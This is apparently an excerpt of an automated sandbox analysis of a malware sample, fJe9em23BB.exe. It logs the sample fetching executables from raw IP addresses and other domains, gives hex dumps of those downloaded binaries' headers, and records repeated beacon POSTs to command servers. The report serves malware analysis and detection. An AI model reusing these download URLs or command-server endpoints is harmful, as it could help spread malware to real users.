00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:38 GMTContent-Type: application/octet-streamContent-Length: 80128Connection: keep-aliveLast-Modified: Sat, 28 May 2022 16:52:46 GMTETag: "6292535e-13900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 00 3f 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:40 GMTContent-Type: application/octet-streamContent-Length: 627128Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:36 GMTETag: "62543da8-991b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:43 GMTContent-Type: application/octet-streamContent-Length: 684984Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:40:08 GMTETag: "62543dc8-a73b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:49 GMTContent-Type: application/octet-streamContent-Length: 254392Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:58 GMTETag: "62543dbe-3e1b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:50 GMTContent-Type: application/octet-streamContent-Length: 1099223Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 12:28:56 GMTETag: "62541f08-10c5d7"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00

Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 133Host: 116.203.105.117
Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 133Host: 116.203.105.117
Source: global traffic	HTTP traffic detected: HEAD /installer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 62.204.41.123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /download/Service.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 107.182.129.251Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/Service.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 107.182.129.251Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /installer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 62.204.41.123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /hp8/g1/yare1095.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: tg8.cllgxx.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /hp8/g1/yare1095.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: tg8.cllgxx.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 433Host: 116.203.105.117
Source: global traffic	HTTP traffic detected: GET /proxies.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Host: 163.123.143.4
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2600499&key=e395accc2c6f2fc19a197701faf56551 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2600721&key=8b32a3670752c2f50e21ffe8ff66e6cb HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2601145&key=b91e6c918507ce8fc7e06b500f3ea863 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2601623&key=c2edd699fe4074572bde18218e447e5f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=2601853&key=26a688ade9ed7838c5a984379bc376ee HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com

Source: fJe9em23BB.exe, 00000000.00000003.280900285.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.289348810.0000000003B75000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.275505938.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.277585370.0000000003B7C000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291414308.0000000003B73000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.291854096.0000000003B73000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://107.182.129.251/download/Service.exe
